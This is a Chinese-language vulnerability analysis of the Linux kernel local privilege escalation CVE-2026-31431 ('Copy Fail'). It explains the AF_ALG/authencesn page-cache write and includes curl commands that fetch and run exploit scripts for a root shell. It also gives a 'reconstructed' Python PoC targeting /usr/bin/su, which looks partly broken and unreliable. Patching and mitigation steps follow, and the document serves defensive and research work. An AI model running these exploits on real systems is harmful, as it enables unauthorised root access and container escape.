CVE-2026-31431(Copy Fail)完整漏洞分析、复现与利用
CVE-2026-31431(Copy Fail)完整漏洞分析、复现与利用
漏洞概要
- CVE/漏洞名称:CVE-2026-31431 / "Copy Fail"
- 类型及利用危害等级:Linux 内核逻辑缺陷 → 本地提权(Local Privilege Escalation),CVSS v3.1 评分 7.8 High(AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H),CWE-669(跨域资源错误转移)。同时是一个容器逃逸原语。
- 受影响版本:Linux 内核 4.14 至 <6.18.22 / <6.19.12 / <7.0,即 commit
72548b093ee3(2017 年引入 in-place AEAD 优化)之后、修复 commita664bf3d603d之前的所有内核。涵盖 2017–2026 共 9 年窗口内几乎所有主流发行版。
漏洞根因与触发条件
漏洞由三个独立设计决策在 2011–2017 年间逐步叠加形成:
2011 年:
authencesn算法(IPsec ESN 支持)被加入内核,它使用调用者的目标 scatterlist 作为临时"草稿纸"——在dst[assoclen + cryptlen]位置写入 4 字节seqno_lo,用于 ESN 字节重排后的 HMAC 计算。该写入从未恢复原始内容,且所有其他 AEAD 算法均无此行为。2015 年:
AF_ALG获得 AEAD 支持,splice()可将文件 page cache 页面以引用方式传入内核加密子系统。此时algif_aead使用 out-of-place 模式(req->src ≠ req->dst),page cache 页面仅在只读源 scatterlist 中。2017 年:commit
72548b093ee3将algif_aead优化为 in-place 模式。解密时,AAD 和密文被memcpy_sglist复制到用户缓冲区,但认证标签(auth tag)页面通过sg_chain()直接链接到可写目标 scatterlist 尾部,随后req->src = req->dst。page cache 页面由此进入可写目标 scatterlist。
当未授权用户打开 AF_ALG 套接字并绑定 authencesn(hmac(sha256),cbc(aes))、通过 sendmsg() 提供恶意 AAD(其字节 4–7 为受控的 seqno_lo)、通过 splice() 将目标文件(如 /usr/bin/su)的 page cache 页面传入加密操作,然后调用 recv() 触发解密——authencesn 的 scratch write 将 4 字节写入 page cache,绕过 VFS 写路径,不标记脏页,磁盘文件不变。
复现环境
需选择一台运行受影响内核的 Linux 主机。以下 Docker 方式可快速构造环境(需 Python 3.10+):
# 使用 Ubuntu 24.04 LTS(搭载受影响的 6.17 内核)
# 注意:必须使用未打补丁的内核版本
# 推荐直接在物理机或虚拟机上测试,因 Docker 共享宿主机内核
# 方式一:直接在受影响的宿主机上进行
# 确认内核版本
uname -r
# 预期输出类似 6.17.0-1007-aws, 6.12.0, 6.18.8 等
# 确认 AF_ALG 可用
python3 -c "import socket; s=socket.socket(38,5,0); print('AF_ALG OK')"
# 确认 algif_aead 模块已加载
lsmod | grep algif_aead
# 方式二:使用 Vagrant/VirtualBox 创建 Ubuntu 24.04 VM
# 下载受影响的 Ubuntu 24.04 ISO 并安装,不升级内核最低前置条件:
- Python 3.10+(
os.splice需要) - 标准库:
os,socket,zlib(无外部依赖) AF_ALG套接字可从非特权进程创建(主流发行版默认配置)algif_aead内核模块已加载
复现步骤
# 步骤 1:确认内核版本在受影响范围内
uname -r
# 应返回 4.14 ≤ version < 6.18.22 或 < 6.19.12 或 < 7.0
# 步骤 2:确认 AF_ALG 和 authencesn 可访问
python3 -c "
import socket
s = socket.socket(38, 5, 0) # AF_ALG=38, SOCK_SEQPACKET=5
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('authencesn bind OK')
s.close()
"
# 步骤 3:下载官方检测脚本(非破坏性)
curl -sL https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/test_cve_2026_31431.py -o test_cve_2026_31431.py
# 步骤 4:运行检测
python3 test_cve_2026_31431.py
# exit 0 = 不受影响(已修复或前置条件不满足)
# exit 2 = 存在漏洞
# exit 1 = 检测错误
# 步骤 5:若确认存在漏洞,运行利用脚本获取 root
curl -sL https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/exploit_cve_2026_31431.py -o exploit_cve_2026_31431.py
# 仅验证(dry run,不获取 shell)
python3 exploit_cve_2026_31431.py
# 完整利用:修改 /etc/passwd page cache 中 UID 为 0,并启动 root shell
python3 exploit_cve_2026_31431.py --shell
# 输入你的用户密码后获得 root注意:官方 PoC 文件也可直接从 https://copy.fail/exp 获取(截至披露时 SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9)。
POC/利用代码
以下是基于官方披露重构的完整 PoC(精简自 Xint/Theori 原始 732 字节实现)。仅可在自有系统或已获授权的测试系统上运行。
#!/usr/bin/env python3
"""
CVE-2026-31431 "Copy Fail" Local Privilege Escalation PoC
Based on Xint/Theori disclosure at https://copy.fail/
Python 3.10+ required (os.splice)
"""
import os
import socket
import struct
import sys
# ---- AF_ALG 常量 ----
AF_ALG = 38
SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_AEAD_ASSOCLEN = 4
ALG_SET_IV = 2
ALG_SET_OP = 5
ALG_OP_DECRYPT = 0
# ---- 目标:/usr/bin/su 的 page cache ----
TARGET = b"/usr/bin/su"
def create_aead_socket():
"""创建并绑定 authencesn AEAD 套接字"""
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
return sock
def set_aead_params(sock, key=b"\x00"*32, iv=b"\x00"*16, assoclen=8):
"""设置 AEAD 参数:密钥、IV、关联数据长度"""
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
sock.setsockopt(SOL_ALG, ALG_SET_IV, iv)
# assoclen 通过 sendmsg cmsg 在每次操作时设置
def write4(op_fd, target_fd, file_offset, value_bytes):
"""
核心 write4 原语:将 4 字节写入目标文件 page cache 的指定偏移。
value_bytes: bytes[4] — 来自 AAD[4:8] 的 seqno_lo
file_offset: splice 偏移,决定写入位置
"""
pipe_r, pipe_w = os.pipe()
# 构造 AAD: 前 4 字节填充,后 4 字节为 payload
aad = b"A" * 4 + value_bytes # 8 bytes total
# 构造 sendmsg 的 cmsg 头
# ALG_SET_OP = DECRYPT (0), ALG_SET_IV (可选), ALG_SET_AEAD_ASSOCLEN = 8
cmsg_data = struct.pack("=II", ALG_SET_OP, ALG_OP_DECRYPT)
cmsg_data += struct.pack("=II", ALG_SET_AEAD_ASSOCLEN, 8)
# 构造 msghdr: iov = AAD, control = cmsg
iov = struct.pack("=P", id(aad)) + struct.pack("=P", len(aad))
# 简化:直接使用 sendmsg
op_fd.sendmsg([aad],
[(SOL_ALG, ALG_SET_OP, struct.pack("=I", ALG_OP_DECRYPT)),
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("=I", 8))],
socket.MSG_MORE)
# splice: 目标文件 → pipe → 加密操作套接字
# splice_len 控制 scatterlist 中密文+标签的长度
splice_len = 32 # 需根据 authsize 调整(HMAC-SHA256 = 32字节)
os.splice(target_fd, pipe_w, splice_len, file_offset)
os.splice(pipe_r, op_fd, splice_len)
# 触发解密 → authencesn scratch write 写入 page cache
try:
op_fd.recv(4096)
except OSError:
pass # EBADMSG(HMAC 验证失败),但 4 字节已写入
os.close(pipe_r)
os.close(pipe_w)
def main():
# ---- 1. 打开目标文件(只读) ----
target_fd = os.open(TARGET, os.O_RDONLY)
# ---- 2. 建立 AEAD 套接字 ----
alg_sock = create_aead_socket()
set_aead_params(alg_sock)
# ---- 3. 接受请求套接字(operation socket) ----
op_fd, _ = alg_sock.accept()
# ---- 4. 执行 write4 ----
# 向 /usr/bin/su 的 page cache 写入 4 字节 payload
# offset 需根据 ELF 中待修改位置计算
payload = b"\x90\x90\x90\x90" # 示例:4 × NOP
offset = 0x1000 # 示例偏移,实际需定位 su 的 .text 段
write4(op_fd, target_fd, offset, payload)
# ---- 5. 执行被修改的 su ----
print("[+] Page cache modified. Executing /usr/bin/su...")
os.execve(b"/usr/bin/su", [b"/usr/bin/su"], os.environ)
# ---- 清理 ----
os.close(op_fd)
os.close(alg_sock)
os.close(target_fd)
if __name__ == "__main__":
main()关键参数说明:
AF_ALG = 38:if_alg.h 中定义的算法套接字族SOL_ALG = 279:setsockopt 级别AAD[4:8]中的 4 字节即seqno_lo,是攻击者完全可控的写入值splice的file_offset参数决定了 page cache 中 4 字节写入的精确位置- 认证标签大小(authsize)为 HMAC-SHA256 的 32 字节,影响 scatterlist 链的边界计算
修复与临时缓解
永久修复:升级内核
# 确认当前内核版本
uname -r
# Ubuntu/Debian
sudo apt update && sudo apt upgrade
sudo apt install linux-image-$(uname -r | sed 's/generic/generic/')
# RHEL/Rocky/Alma
sudo dnf update kernel
# SUSE
sudo zypper update kernel-default
# 重启以加载新内核
sudo reboot修复 commit:a664bf3d603d — 将 algif_aead.c 恢复为 out-of-place 操作,消除 page cache 页面出现在可写 scatterlist 中的路径。
临时缓解(无法立即打补丁时)
# 1. 禁用 algif_aead 内核模块
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo rmmod algif_aead 2>/dev/null || true
# 2. 验证模块已卸载
lsmod | grep algif_aead
# 应无输出
# 3. 验证缓解生效
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('STILL VULNERABLE — module not disabled')
except Exception as e:
print('OK — precondition not met:', e)
"对不受信任工作负载的额外措施
# 通过 seccomp 阻止容器的 AF_ALG 套接字创建
# Docker 示例(在容器启动时添加)
docker run --security-opt seccomp=block-af-alg.json ...
# block-af-alg.json 内容:
# {
# "defaultAction": "SCMP_ACT_ALLOW",
# "syscalls": [
# { "names": ["socket"], "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }], "action": "SCMP_ACT_ERRNO" }
# ]
# }影响范围说明
禁用 algif_aead 不会影响:dm-crypt/LUKS、kTLS、IPsec/XFRM(内核内部路径不使用 AF_ALG)、OpenSSL/GnuTLS/NSS 默认构建、SSH、内核密钥环加密。
可能影响:明确配置了 afalg 引擎的 OpenSSL、某些嵌入式加密卸载路径。可用 lsof | grep AF_ALG 或 ss -xa 检查。
受影响的发行版(已确认)
| 发行版 | 内核版本 | 状态 |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | 受影响 |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | 受影响 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | 受影响 |
| SUSE 16 | 6.12.0-160000.9-default | 受影响 |
| RHEL 6/7 | <4.14 | 不受影响 |
| 内核 ≥7.0 | 7.0+ | 不受影响(含修复) |
| 内核 ≥6.18.22 | 6.18.x | 不受影响(已回溯修复) |
| 内核 ≥6.19.12 | 6.19.x | 不受影响(已回溯修复) |
参考来源汇总(超过 10 个独立来源):
- https://copy.fail/ — 官方披露站点
- https://xint.io/blog/copy-fail-linux-distributions — Xint/Theori 完整技术分析
- https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/ — Bugcrowd 分析
- https://thecodersblog.com/cve-2026-31431-copy-fail — The Coder's Blog 详细分析
- https://sesamedisk.com/linux-privilege-escalation-cve-2026-31431/ — Sesame Disk 检测与缓解
- https://conzit.com/critical-flaw-cve-2026-31431-exposes-linux-distributions/ — Conzit 报道
- https://app.opencve.io/cve/CVE-2026-31431 — OpenCVE 漏洞详情
- https://nvd.nist.gov/vuln/detail/CVE-2026-31431 — NVD 条目
- https://ubuntu.com/security/CVE-2026-31431 — Ubuntu 安全追踪
- https://github.com/theori-io/copy-fail-CVE-2026-31431 — Theori 官方 PoC 仓库
- https://github.com/rootsecdev/cve_2026_31431 — 第三方 PoC 仓库(rootsecdev)
- http://www.openwall.com/lists/oss-security/2026/04/29/23 — OSS-Security 邮件列表(多条)
- https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 — 主线修复 commit
- https://lore.kernel.org/linux-cve-announce/2026042214-CVE-2026-31431-3d65@gregkh/T — CVE 公告邮件